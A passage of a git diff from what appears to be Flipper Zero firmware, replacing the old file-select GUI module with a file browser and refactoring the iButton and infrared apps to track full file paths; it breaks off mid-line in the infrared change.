+507,9 @@ static bool file_browser_view_input_callback(InputEvent* event, void* context) { file_browser_worker_folder_enter( browser->worker, selected_item->path, select_index); } else if(selected_item->type == BrowserItemTypeFile) { - string_set(*(browser->result_path), selected_item->path); + string_set(browser->result_path, selected_item->path); if(browser->callback) { - browser->callback(browser->context, true); + browser->callback(browser->context); } } } diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h index b77c6e65c..ebc64509a 100644 --- a/applications/gui/modules/file_browser.h +++ b/applications/gui/modules/file_browser.h @@ -13,9 +13,9 @@ extern "C" { #endif typedef struct FileBrowser FileBrowser; -typedef void (*FileBrowserCallback)(void* context, bool state); +typedef void (*FileBrowserCallback)(void* context); -FileBrowser* file_browser_alloc(string_t* result_path); +FileBrowser* file_browser_alloc(string_ptr result_path); void file_browser_free(FileBrowser* browser); @@ -23,7 +23,7 @@ View* file_browser_get_view(FileBrowser* browser); void file_browser_configure( FileBrowser* browser, - char* extension, + const char* extension, bool skip_assets, const Icon* file_icon, bool hide_ext); diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c index 13fc97111..93baba008 100644 --- a/applications/gui/modules/file_browser_worker.c +++ b/applications/gui/modules/file_browser_worker.c @@ -8,6 +8,7 @@ #include #include #include +#include "toolbox/path.h" #define TAG "BrowserWorker" @@ -149,6 +150,7 @@ static bool browser_folder_init( (*item_cnt)++; } if(total_files_cnt == LONG_LOAD_THRESHOLD) { + // There are too many files in folder and counting them will take some time - send callback to app if(browser->long_load_cb) { browser->long_load_cb(browser->cb_ctx); } @@ -255,7 +257,7 @@ static int32_t browser_worker(void* context) { string_t filename; string_init(filename); if(browser_path_is_file(browser->path_next)) { - file_browser_worker_get_filename(browser->path_next, filename, false); + path_extract_filename(browser->path_next, filename, false); } osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); @@ -319,21 +321,7 @@ static int32_t browser_worker(void* context) { return 0; } -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { - size_t filename_start = string_search_rchar(path, '/'); - if(filename_start > 0) { - filename_start++; - string_set_n(name, path, filename_start, string_size(path) - filename_start); - } - if(trim_ext) { - size_t dot = string_search_rchar(name, '.'); - if(dot > 0) { - string_left(name, dot); - } - } -} - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { +BrowserWorker* file_browser_worker_alloc(string_t path, const char* filter_ext, bool skip_assets) { BrowserWorker* browser = malloc(sizeof(BrowserWorker)); idx_last_array_init(browser->idx_last); diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h index 821d5103f..b0d360a38 100644 --- a/applications/gui/modules/file_browser_worker.h +++ b/applications/gui/modules/file_browser_worker.h @@ -22,9 +22,7 @@ typedef void (*BrowserWorkerListItemCallback)( bool is_last); typedef void (*BrowserWorkerLongLoadCallback)(void* context); -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); +BrowserWorker* file_browser_worker_alloc(string_t path, const char* filter_ext, bool skip_assets); void file_browser_worker_free(BrowserWorker* browser); diff --git a/applications/gui/modules/file_select.c b/applications/gui/modules/file_select.c deleted file mode 100644 index 14541196b..000000000 --- a/applications/gui/modules/file_select.c +++ /dev/null @@ -1,475 +0,0 @@ -#include "file_select.h" -#include -#include -#include - -#define FILENAME_COUNT 4 - -struct FileSelect { - // public - View* view; - Storage* fs_api; - const char* path; - const char* extension; - - bool init_completed; - - FileSelectCallback callback; - void* context; - - char* buffer; - uint8_t buffer_size; -}; - -typedef struct { - string_t filename[FILENAME_COUNT]; - uint8_t position; - - uint16_t first_file_index; - uint16_t file_count; - -} FileSelectModel; - -bool file_select_fill_strings(FileSelect* file_select); -bool file_select_fill_count(FileSelect* file_select); -static bool file_select_init_inner(FileSelect* file_select); - -static void file_select_draw_callback(Canvas* canvas, void* _model) { - FileSelectModel* model = _model; - - string_t string_buff; - const uint8_t item_height = 16; - const uint8_t item_width = 123; - const uint8_t text_max_width = 115; - - canvas_clear(canvas); - canvas_set_font(canvas, FontSecondary); - - if(model->file_count) { - for(uint8_t i = 0; i < MIN(FILENAME_COUNT, model->file_count); i++) { - if(i == model->position) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, (i * item_height) + 1, item_width, item_height - 2); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_dot(canvas, 0, (i * item_height) + 1); - canvas_draw_dot(canvas, 0, (i * item_height) + item_height - 2); - canvas_draw_dot(canvas, item_width - 1, (i * item_height) + 1); - canvas_draw_dot(canvas, item_width - 1, (i * item_height) + item_height - 2); - } else { - canvas_set_color(canvas, ColorBlack); - } - - string_init_set(string_buff, model->filename[i]); - elements_string_fit_width(canvas, string_buff, text_max_width); - canvas_draw_str( - canvas, 6, (i * item_height) + item_height - 4, string_get_cstr(string_buff)); - - string_clear(string_buff); - } - } else { - canvas_draw_str(canvas, 6, item_height, "Empty folder"); - } - elements_scrollbar(canvas, model->first_file_index + model->position, model->file_count); -} - -static bool file_select_input_callback(InputEvent* event, void* context) { - FileSelect* file_select = (FileSelect*)context; - bool consumed = false; - - if((event->type == InputTypeShort) | (event->type == InputTypeRepeat)) { - if(!file_select->init_completed) { - if(!file_select_init_inner(file_select)) { - file_select->callback(false, file_select->context); - } - } else if(event->key == InputKeyUp) { - with_view_model( - file_select->view, (FileSelectModel * model) { - if(model->position == 0) { - if(model->first_file_index == 0) { - // wrap - int16_t max_first_file_index = model->file_count - FILENAME_COUNT; - model->position = MIN(FILENAME_COUNT - 1, model->file_count - 1); - model->first_file_index = - max_first_file_index < 0 ? 0 : max_first_file_index; - } else { - model->first_file_index--; - } - } else if(model->position == 1) { - if(model->first_file_index == 0) { - model->position--; - } else { - model->first_file_index--; - } - } else { - model->position--; - } - return true; - }); - consumed = true; - if(!file_select_fill_strings(file_select)) { - file_select->callback(false, file_select->context); - } - } else if(event->key == InputKeyDown) { - with_view_model( - file_select->view, (FileSelectModel * model) { - uint16_t max_first_file_index = model->file_count > FILENAME_COUNT ? - model->file_count - FILENAME_COUNT : - 0; - - if(model->position >= MIN(FILENAME_COUNT - 1, model->file_count - 1)) { - if(model->first_file_index >= max_first_file_index) { - // wrap - model->position = 0; - model->first_file_index = 0; - } else { - model->first_file_index++; - } - } else if(model->position >= (FILENAME_COUNT - 2)) { - if(model->first_file_index >= max_first_file_index) { - model->position++; - } else { - model->first_file_index++; - } - } else { - model->position++; - } - return true; - }); - consumed = true; - if(!file_select_fill_strings(file_select)) { - file_select->callback(false, file_select->context); - } - } else if(event->key == InputKeyOk) { - if(file_select->callback != NULL) { - size_t files = 0; - if(file_select->buffer) { - with_view_model( - file_select->view, (FileSelectModel * model) { - files = model->file_count; - strlcpy( - file_select->buffer, - string_get_cstr(model->filename[model->position]), - file_select->buffer_size); - - return false; - }); - }; - if(files > 0) { - file_select->callback(true, file_select->context); - } - } - consumed = true; - } - } - - return consumed; -} - -static bool file_select_init_inner(FileSelect* file_select) { - bool result = false; - if(file_select->path && file_select->extension && file_select->fs_api) { - if(file_select_fill_count(file_select)) { - if(file_select_fill_strings(file_select)) { - file_select->init_completed = true; - result = true; - } - } - } - - return result; -} - -FileSelect* file_select_alloc() { - FileSelect* file_select = malloc(sizeof(FileSelect)); - file_select->view = view_alloc(); - file_select->fs_api = furi_record_open("storage"); - - view_set_context(file_select->view, file_select); - view_allocate_model(file_select->view, ViewModelTypeLockFree, sizeof(FileSelectModel)); - view_set_draw_callback(file_select->view, file_select_draw_callback); - view_set_input_callback(file_select->view, file_select_input_callback); - - with_view_model( - file_select->view, (FileSelectModel * model) { - for(uint8_t i = 0; i < FILENAME_COUNT; i++) { - string_init(model->filename[i]); - } - - model->first_file_index = 0; - model->file_count = 0; - return false; - }); - - return file_select; -} - -void file_select_free(FileSelect* file_select) { - furi_assert(file_select); - with_view_model( - file_select->view, (FileSelectModel * model) { - for(uint8_t i = 0; i < FILENAME_COUNT; i++) { - string_clear(model->filename[i]); - } - return false; - }); - view_free(file_select->view); - free(file_select); - furi_record_close("storage"); -} - -View* file_select_get_view(FileSelect* file_select) { - furi_assert(file_select); - return file_select->view; -} - -void file_select_set_callback(FileSelect* file_select, FileSelectCallback callback, void* context) { - file_select->context = context; - file_select->callback = callback; -} - -void file_select_set_filter(FileSelect* file_select, const char* path, const char* extension) { - furi_assert(file_select); - file_select->path = path; - file_select->extension = extension; -} - -void file_select_set_result_buffer(FileSelect* file_select, char* buffer, uint8_t buffer_size) { - file_select->buffer = buffer; - file_select->buffer_size = buffer_size; - - if(file_select->buffer) { - strlcpy(file_select->buffer, "", file_select->buffer_size); - } -} - -bool file_select_init(FileSelect* file_select) { - if(!file_select_init_inner(file_select)) { - file_select->callback(false, file_select->context); - return false; - } else { - return true; - } -} - -static bool filter_file(FileSelect* file_select, FileInfo* file_info, char* name) { - bool result = false; - - if(!(file_info->flags & FSF_DIRECTORY)) { - if(strcmp(file_select->extension, "*") == 0) { - result = true; - } else if(strstr(name, file_select->extension) != NULL) { - result = true; - } - } - - return result; -} - -bool file_select_fill_strings(FileSelect* file_select) { - furi_assert(file_select); - furi_assert(file_select->fs_api); - furi_assert(file_select->path); - furi_assert(file_select->extension); - - FileInfo file_info; - File* directory = storage_file_alloc(file_select->fs_api); - - uint8_t string_counter = 0; - uint16_t file_counter = 0; - const uint8_t name_length = 100; - char* name = malloc(name_length); - uint16_t first_file_index = 0; - - with_view_model( - file_select->view, (FileSelectModel * model) { - first_file_index = model->first_file_index; - return false; - }); - - if(!storage_dir_open(directory, file_select->path)) { - storage_dir_close(directory); - storage_file_free(directory); - free(name); - return true; - } - - while(1) { - if(!storage_dir_read(directory, &file_info, name, name_length)) { - break; - } - - if(storage_file_get_error(directory) == FSE_OK) { - if(filter_file(file_select, &file_info, name)) { - if(file_counter >= first_file_index) { - with_view_model( - file_select->view, (FileSelectModel * model) { - string_set_str(model->filename[string_counter], name); - - if(strcmp(file_select->extension, "*") != 0) { - string_replace_all_str( - model->filename[string_counter], file_select->extension, ""); - } - - return true; - }); - string_counter++; - - if(string_counter >= FILENAME_COUNT) { - break; - } - } - file_counter++; - } - } else { - storage_dir_close(directory); - storage_file_free(directory); - free(name); - return false; - } - } - - storage_dir_close(directory); - storage_file_free(directory); - free(name); - return true; -} - -bool file_select_fill_count(FileSelect* file_select) { - furi_assert(file_select); - furi_assert(file_select->fs_api); - furi_assert(file_select->path); - furi_assert(file_select->extension); - - FileInfo file_info; - File* directory = storage_file_alloc(file_select->fs_api); - - uint16_t file_counter = 0; - const uint8_t name_length = 100; - char* name = malloc(name_length); - - if(!storage_dir_open(directory, file_select->path)) { - storage_dir_close(directory); - storage_file_free(directory); - free(name); - return true; - } - - while(1) { - if(!storage_dir_read(directory, &file_info, name, name_length)) { - break; - } - - if(storage_file_get_error(directory) == FSE_OK) { - if(filter_file(file_select, &file_info, name)) { - file_counter++; - } - } else { - storage_dir_close(directory); - storage_file_free(directory); - free(name); - return false; - } - } - - with_view_model( - file_select->view, (FileSelectModel * model) { - model->file_count = file_counter; - return false; - }); - - storage_dir_close(directory); - storage_file_free(directory); - free(name); - return true; -} - -void file_select_set_selected_file_internal(FileSelect* file_select, const char* filename) { - furi_assert(file_select); - furi_assert(filename); - furi_assert(file_select->fs_api); - furi_assert(file_select->path); - furi_assert(file_select->extension); - - if(strlen(filename) == 0) return; - - FileInfo file_info; - File* directory = storage_file_alloc(file_select->fs_api); - - const uint8_t name_length = 100; - char* name = malloc(name_length); - uint16_t file_position = 0; - bool file_found = false; - - string_t filename_str; - string_init_set_str(filename_str, filename); - if(strcmp(file_select->extension, "*") != 0) { - string_cat_str(filename_str, file_select->extension); - } - - if(!storage_dir_open(directory, file_select->path)) { - string_clear(filename_str); - storage_dir_close(directory); - storage_file_free(directory); - free(name); - return; - } - - while(1) { - if(!storage_dir_read(directory, &file_info, name, name_length)) { - break; - } - - if(storage_file_get_error(directory) == FSE_OK) { - if(filter_file(file_select, &file_info, name)) { - if(strcmp(string_get_cstr(filename_str), name) == 0) { - file_found = true; - break; - } - - file_position++; - } - } else { - string_clear(filename_str); - storage_dir_close(directory); - storage_file_free(directory); - free(name); - return; - } - } - - if(file_found) { - with_view_model( - file_select->view, (FileSelectModel * model) { - uint16_t max_first_file_index = - model->file_count > FILENAME_COUNT ? model->file_count - FILENAME_COUNT : 0; - - model->first_file_index = file_position; - - if(model->first_file_index > 0) { - model->first_file_index -= 1; - } - - if(model->first_file_index >= max_first_file_index) { - model->first_file_index = max_first_file_index; - } - - model->position = file_position - model->first_file_index; - - return true; - }); - } - - string_clear(filename_str); - storage_dir_close(directory); - storage_file_free(directory); - free(name); -} - -void file_select_set_selected_file(FileSelect* file_select, const char* filename) { - file_select_set_selected_file_internal(file_select, filename); - - if(!file_select_fill_strings(file_select)) { - file_select->callback(false, file_select->context); - } -} diff --git a/applications/gui/modules/file_select.h b/applications/gui/modules/file_select.h deleted file mode 100644 index ed3d5b60c..000000000 --- a/applications/gui/modules/file_select.h +++ /dev/null @@ -1,31 +0,0 @@ -/** - * @file file_select.h - * GUI: FileSelect view module API - */ - -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct FileSelect FileSelect; - -typedef void (*FileSelectCallback)(bool result, void* context); - -FileSelect* file_select_alloc(); - -void file_select_free(FileSelect* file_select); -View* file_select_get_view(FileSelect* file_select); - -void file_select_set_callback(FileSelect* file_select, FileSelectCallback callback, void* context); -void file_select_set_filter(FileSelect* file_select, const char* path, const char* extension); -void file_select_set_result_buffer(FileSelect* file_select, char* buffer, uint8_t buffer_size); -bool file_select_init(FileSelect* file_select); -void file_select_set_selected_file(FileSelect* file_select, const char* filename); - -#ifdef __cplusplus -} -#endif diff --git a/applications/gui/modules/validators.c b/applications/gui/modules/validators.c index 242dbe682..546423d02 100644 --- a/applications/gui/modules/validators.c +++ b/applications/gui/modules/validators.c @@ -3,7 +3,7 @@ #include "applications/storage/storage.h" struct ValidatorIsFile { - const char* app_path_folder; + char* app_path_folder; const char* app_extension; char* current_name; }; @@ -40,7 +40,7 @@ ValidatorIsFile* validator_is_file_alloc_init( const char* current_name) { ValidatorIsFile* instance = malloc(sizeof(ValidatorIsFile)); - instance->app_path_folder = app_path_folder; + instance->app_path_folder = strdup(app_path_folder); instance->app_extension = app_extension; instance->current_name = strdup(current_name); @@ -49,6 +49,7 @@ ValidatorIsFile* validator_is_file_alloc_init( void validator_is_file_free(ValidatorIsFile* instance) { furi_assert(instance); + free(instance->app_path_folder); free(instance->current_name); free(instance); } diff --git a/applications/ibutton/ibutton.c b/applications/ibutton/ibutton.c index a38f077f3..b1b5bf62f 100644 --- a/applications/ibutton/ibutton.c +++ b/applications/ibutton/ibutton.c @@ -1,7 +1,8 @@ #include "ibutton.h" +#include "assets_icons.h" #include "ibutton_i.h" #include "ibutton/scenes/ibutton_scene.h" - +#include "m-string.h" #include #include @@ -85,6 +86,8 @@ void ibutton_tick_event_callback(void* context) { iButton* ibutton_alloc() { iButton* ibutton = malloc(sizeof(iButton)); + string_init(ibutton->file_path); + ibutton->scene_manager = scene_manager_alloc(&ibutton_scene_handlers, ibutton); ibutton->view_dispatcher = view_dispatcher_alloc(); @@ -176,49 +179,28 @@ void ibutton_free(iButton* ibutton) { ibutton_worker_free(ibutton->key_worker); ibutton_key_free(ibutton->key); + string_clear(ibutton->file_path); + free(ibutton); } bool ibutton_file_select(iButton* ibutton) { - bool success = dialog_file_select_show( + bool success = dialog_file_browser_show( ibutton->dialogs, - IBUTTON_APP_FOLDER, + ibutton->file_path, + ibutton->file_path, IBUTTON_APP_EXTENSION, - ibutton->file_name, - IBUTTON_FILE_NAME_SIZE, - ibutton_key_get_name_p(ibutton->key)); + true, + &I_ibutt_10px, + true); if(success) { - string_t key_str; - string_init_printf( - key_str, "%s/%s%s", IBUTTON_APP_FOLDER, ibutton->file_name, IBUTTON_APP_EXTENSION); - success = ibutton_load_key_data(ibutton, key_str); - - if(success) { - ibutton_key_set_name(ibutton->key, ibutton->file_name); - } - - string_clear(key_str); + success = ibutton_load_key_data(ibutton, ibutton->file_path); } return success; } -bool ibutton_load_key(iButton* ibutton, const char* key_name) { - string_t key_path; - string_init_set_str(key_path, key_name); - - const bool success = ibutton_load_key_data(ibutton, key_path); - - if(success) { - path_extract_filename_no_ext(key_name, key_path); - ibutton_key_set_name(ibutton->key, string_get_cstr(key_path)); - } - - string_clear(key_path); - return success; -} - bool ibutton_save_key(iButton* ibutton, const char* key_name) { // Create ibutton directory if necessary ibutton_make_app_folder(ibutton); @@ -226,27 +208,22 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { FlipperFormat* file = flipper_format_file_alloc(ibutton->storage); iButtonKey* key = ibutton->key; - string_t key_file_name; bool result = false; - string_init(key_file_name); do { // First remove key if it was saved (we rename the key) - if(!ibutton_delete_key(ibutton)) break; - - // Save the key - ibutton_key_set_name(key, key_name); + ibutton_delete_key(ibutton); // Set full file name, for new key - string_printf( - key_file_name, - "%s/%s%s", - IBUTTON_APP_FOLDER, - ibutton_key_get_name_p(key), - IBUTTON_APP_EXTENSION); + if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { + size_t filename_start = string_search_rchar(ibutton->file_path, '/'); + string_left(ibutton->file_path, filename_start); + } + + string_cat_printf(ibutton->file_path, "/%s%s", key_name, IBUTTON_APP_EXTENSION); // Open file for write - if(!flipper_format_file_open_always(file, string_get_cstr(key_file_name))) break; + if(!flipper_format_file_open_always(file, string_get_cstr(ibutton->file_path))) break; // Write header if(!flipper_format_write_header_cstr(file, IBUTTON_APP_FILE_TYPE, 1)) break; @@ -271,8 +248,6 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { flipper_format_free(file); - string_clear(key_file_name); - if(!result) { dialog_message_show_storage_error(ibutton->dialogs, "Cannot save\nkey file"); } @@ -281,17 +256,8 @@ bool ibutton_save_key(iButton* ibutton, const char* key_name) { } bool ibutton_delete_key(iButton* ibutton) { - string_t file_name; bool result = false; - - string_init_printf( - file_name, - "%s/%s%s", - IBUTTON_APP_FOLDER, - ibutton_key_get_name_p(ibutton->key), - IBUTTON_APP_EXTENSION); - result = storage_simply_remove(ibutton->storage, string_get_cstr(file_name)); - string_clear(file_name); + result = storage_simply_remove(ibutton->storage, string_get_cstr(ibutton->file_path)); return result; } @@ -335,8 +301,17 @@ int32_t ibutton_app(void* p) { ibutton_make_app_folder(ibutton); - if(p && ibutton_load_key(ibutton, (const char*)p)) { - // TODO: Display an error if the key from p could not be loaded + bool key_loaded = false; + + if(p) { + string_set_str(ibutton->file_path, (const char*)p); + if(ibutton_load_key_data(ibutton, ibutton->file_path)) { + key_loaded = true; + // TODO: Display an error if the key from p could not be loaded + } + } + + if(key_loaded) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneEmulate); } else { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneStart); diff --git a/applications/ibutton/ibutton_i.h b/applications/ibutton/ibutton_i.h index 36857fd64..e66712bee 100644 --- a/applications/ibutton/ibutton_i.h +++ b/applications/ibutton/ibutton_i.h @@ -41,7 +41,7 @@ struct iButton { iButtonWorker* key_worker; iButtonKey* key; - char file_name[IBUTTON_FILE_NAME_SIZE]; + string_t file_path; char text_store[IBUTTON_TEXT_STORE_SIZE + 1]; Submenu* submenu; @@ -74,7 +74,6 @@ typedef enum { } iButtonNotificationMessage; bool ibutton_file_select(iButton* ibutton); -bool ibutton_load_key(iButton* ibutton, const char* key_name); bool ibutton_save_key(iButton* ibutton, const char* key_name); bool ibutton_delete_key(iButton* ibutton); void ibutton_text_store_set(iButton* ibutton, const char* text, ...); diff --git a/applications/ibutton/scenes/ibutton_scene_add_type.c b/applications/ibutton/scenes/ibutton_scene_add_type.c index db129295a..273330e71 100644 --- a/applications/ibutton/scenes/ibutton_scene_add_type.c +++ b/applications/ibutton/scenes/ibutton_scene_add_type.c @@ -1,4 +1,5 @@ #include "../ibutton_i.h" +#include "m-string.h" enum SubmenuIndex { SubmenuIndexCyfral, @@ -44,7 +45,7 @@ bool ibutton_scene_add_type_on_event(void* context, SceneManagerEvent event) { furi_crash("Unknown key type"); } - ibutton_key_set_name(key, ""); + string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); ibutton_key_clear_data(key); scene_manager_next_scene(ibutton->scene_manager, iButtonSceneAddValue); } diff --git a/applications/ibutton/scenes/ibutton_scene_delete_confirm.c b/applications/ibutton/scenes/ibutton_scene_delete_confirm.c index 73ea97cc6..51f1f2794 100644 --- a/applications/ibutton/scenes/ibutton_scene_delete_confirm.c +++ b/applications/ibutton/scenes/ibutton_scene_delete_confirm.c @@ -1,4 +1,5 @@ #include "../ibutton_i.h" +#include static void ibutton_scene_delete_confirm_widget_callback( GuiButtonType result, @@ -16,7 +17,11 @@ void ibutton_scene_delete_confirm_on_enter(void* context) { iButtonKey* key = ibutton->key; const uint8_t* key_data = ibutton_key_get_data_p(key); - ibutton_text_store_set(ibutton, "\e#Delete %s?\e#", ibutton_key_get_name_p(key)); + string_t key_name; + string_init(key_name); + path_extract_filename(ibutton->file_path, key_name, true); + + ibutton_text_store_set(ibutton, "\e#Delete %s?\e#", string_get_cstr(key_name)); widget_add_text_box_element( widget, 0, 0, 128, 27, AlignCenter, AlignCenter, ibutton->text_store, false); widget_add_button_element( @@ -62,6 +67,8 @@ void ibutton_scene_delete_confirm_on_enter(void* context) { widget, 64, 33, AlignCenter, AlignBottom, FontSecondary, ibutton->text_store); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewWidget); + + string_clear(key_name); } bool ibutton_scene_delete_confirm_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_emulate.c b/applications/ibutton/scenes/ibutton_scene_emulate.c index 8ffe73b66..590223979 100644 --- a/applications/ibutton/scenes/ibutton_scene_emulate.c +++ b/applications/ibutton/scenes/ibutton_scene_emulate.c @@ -1,5 +1,6 @@ #include "../ibutton_i.h" #include +#include static void ibutton_scene_emulate_callback(void* context, bool emulated) { iButton* ibutton = context; @@ -15,14 +16,19 @@ void ibutton_scene_emulate_on_enter(void* context) { iButtonKey* key = ibutton->key; const uint8_t* key_data = ibutton_key_get_data_p(key); - const char* key_name = ibutton_key_get_name_p(key); + + string_t key_name; + string_init(key_name); + if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { + path_extract_filename(ibutton->file_path, key_name, true); + } uint8_t line_count = 2; DOLPHIN_DEED(DolphinDeedIbuttonEmulate); // check that stored key has name - if(strcmp(key_name, "") != 0) { - ibutton_text_store_set(ibutton, "emulating\n%s", key_name); + if(!string_empty_p(key_name)) { + ibutton_text_store_set(ibutton, "emulating\n%s", string_get_cstr(key_name)); line_count = 2; } else { // if not, show key data @@ -77,6 +83,8 @@ void ibutton_scene_emulate_on_enter(void* context) { ibutton_worker_emulate_set_callback( ibutton->key_worker, ibutton_scene_emulate_callback, ibutton); ibutton_worker_emulate_start(ibutton->key_worker, key); + + string_clear(key_name); } bool ibutton_scene_emulate_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_info.c b/applications/ibutton/scenes/ibutton_scene_info.c index 5b0af1d8f..bd364ada8 100644 --- a/applications/ibutton/scenes/ibutton_scene_info.c +++ b/applications/ibutton/scenes/ibutton_scene_info.c @@ -1,4 +1,5 @@ #include "../ibutton_i.h" +#include void ibutton_scene_info_on_enter(void* context) { iButton* ibutton = context; @@ -7,7 +8,11 @@ void ibutton_scene_info_on_enter(void* context) { const uint8_t* key_data = ibutton_key_get_data_p(key); - ibutton_text_store_set(ibutton, "%s", ibutton_key_get_name_p(key)); + string_t key_name; + string_init(key_name); + path_extract_filename(ibutton->file_path, key_name, true); + + ibutton_text_store_set(ibutton, "%s", string_get_cstr(key_name)); widget_add_text_box_element( widget, 0, 0, 128, 28, AlignCenter, AlignCenter, ibutton->text_store, false); @@ -46,6 +51,8 @@ void ibutton_scene_info_on_enter(void* context) { widget, 64, 35, AlignCenter, AlignBottom, FontPrimary, ibutton->text_store); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewWidget); + + string_clear(key_name); } bool ibutton_scene_info_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_read.c b/applications/ibutton/scenes/ibutton_scene_read.c index a25f27e60..0cc0a8dff 100644 --- a/applications/ibutton/scenes/ibutton_scene_read.c +++ b/applications/ibutton/scenes/ibutton_scene_read.c @@ -18,7 +18,7 @@ void ibutton_scene_read_on_enter(void* context) { popup_set_icon(popup, 0, 5, &I_DolphinWait_61x59); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewPopup); - ibutton_key_set_name(key, ""); + string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); ibutton_worker_read_set_callback(worker, ibutton_scene_read_callback, ibutton); ibutton_worker_read_start(worker, key); diff --git a/applications/ibutton/scenes/ibutton_scene_save_name.c b/applications/ibutton/scenes/ibutton_scene_save_name.c index b1baf6afc..6caf5d2d5 100644 --- a/applications/ibutton/scenes/ibutton_scene_save_name.c +++ b/applications/ibutton/scenes/ibutton_scene_save_name.c @@ -1,5 +1,7 @@ #include "../ibutton_i.h" +#include "m-string.h" #include +#include static void ibutton_scene_save_name_text_input_callback(void* context) { iButton* ibutton = context; @@ -10,13 +12,17 @@ void ibutton_scene_save_name_on_enter(void* context) { iButton* ibutton = context; TextInput* text_input = ibutton->text_input; - const char* key_name = ibutton_key_get_name_p(ibutton->key); - const bool key_name_is_empty = !strcmp(key_name, ""); + string_t key_name; + string_init(key_name); + if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { + path_extract_filename(ibutton->file_path, key_name, true); + } + const bool key_name_is_empty = string_empty_p(key_name); if(key_name_is_empty) { set_random_name(ibutton->text_store, IBUTTON_TEXT_STORE_SIZE); } else { - ibutton_text_store_set(ibutton, "%s", key_name); + ibutton_text_store_set(ibutton, "%s", string_get_cstr(key_name)); } text_input_set_header_text(text_input, "Name the key"); @@ -28,11 +34,19 @@ void ibutton_scene_save_name_on_enter(void* context) { IBUTTON_KEY_NAME_SIZE, key_name_is_empty); - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(IBUTTON_APP_FOLDER, IBUTTON_APP_EXTENSION, key_name); + string_t folder_path; + string_init(folder_path); + + path_extract_dirname(string_get_cstr(ibutton->file_path), folder_path); + + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + string_get_cstr(folder_path), IBUTTON_APP_EXTENSION, string_get_cstr(key_name)); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewTextInput); + + string_clear(key_name); + string_clear(folder_path); } bool ibutton_scene_save_name_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_start.c b/applications/ibutton/scenes/ibutton_scene_start.c index a3141f5ad..cc8af9839 100644 --- a/applications/ibutton/scenes/ibutton_scene_start.c +++ b/applications/ibutton/scenes/ibutton_scene_start.c @@ -36,6 +36,7 @@ bool ibutton_scene_start_on_event(void* context, SceneManagerEvent event) { if(event.event == SubmenuIndexRead) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneRead); } else if(event.event == SubmenuIndexSaved) { + string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); scene_manager_next_scene(ibutton->scene_manager, iButtonSceneSelectKey); } else if(event.event == SubmenuIndexAdd) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneAddType); diff --git a/applications/ibutton/scenes/ibutton_scene_write.c b/applications/ibutton/scenes/ibutton_scene_write.c index 35e45d83b..4ce19408a 100644 --- a/applications/ibutton/scenes/ibutton_scene_write.c +++ b/applications/ibutton/scenes/ibutton_scene_write.c @@ -1,4 +1,6 @@ #include "../ibutton_i.h" +#include "m-string.h" +#include "toolbox/path.h" typedef enum { iButtonSceneWriteStateDefault, @@ -17,13 +19,18 @@ void ibutton_scene_write_on_enter(void* context) { iButtonWorker* worker = ibutton->key_worker; const uint8_t* key_data = ibutton_key_get_data_p(key); - const char* key_name = ibutton_key_get_name_p(key); + + string_t key_name; + string_init(key_name); + if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { + path_extract_filename(ibutton->file_path, key_name, true); + } uint8_t line_count = 2; // check that stored key has name - if(strcmp(key_name, "") != 0) { - ibutton_text_store_set(ibutton, "writing\n%s", key_name); + if(!string_empty_p(key_name)) { + ibutton_text_store_set(ibutton, "writing\n%s", string_get_cstr(key_name)); line_count = 2; } else { // if not, show key data @@ -79,6 +86,8 @@ void ibutton_scene_write_on_enter(void* context) { ibutton_worker_write_set_callback(worker, ibutton_scene_write_callback, ibutton); ibutton_worker_write_start(worker, key); + + string_clear(key_name); } bool ibutton_scene_write_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/infrared/infrared_app.cpp b/applications/infrared/infrared_app.cpp index 5dc3b311d..1ac859d10 100644 --- a/applications/infrared/infrared_app.cpp +++ b/applications/infrared/infrared_app.cpp @@ -1,4 +1,5 @@ #include "infrared_app.h" +#include "m-string.h" #include #include #include @@ -12,20 +13,18 @@ int32_t InfraredApp::run(void* args) { bool exit = false; if(args) { - std::string path = static_cast(args); - std::string remote_name(path, path.find_last_of('/') + 1, path.size()); - auto last_dot = remote_name.find_last_of('.'); - if(last_dot != std::string::npos) { - remote_name.erase(last_dot); - path.erase(path.find_last_of('/')); - bool result = remote_manager.load(path, remote_name); + string_t path; + string_init_set_str(path, (char*)args); + if(string_end_with_str_p(path, 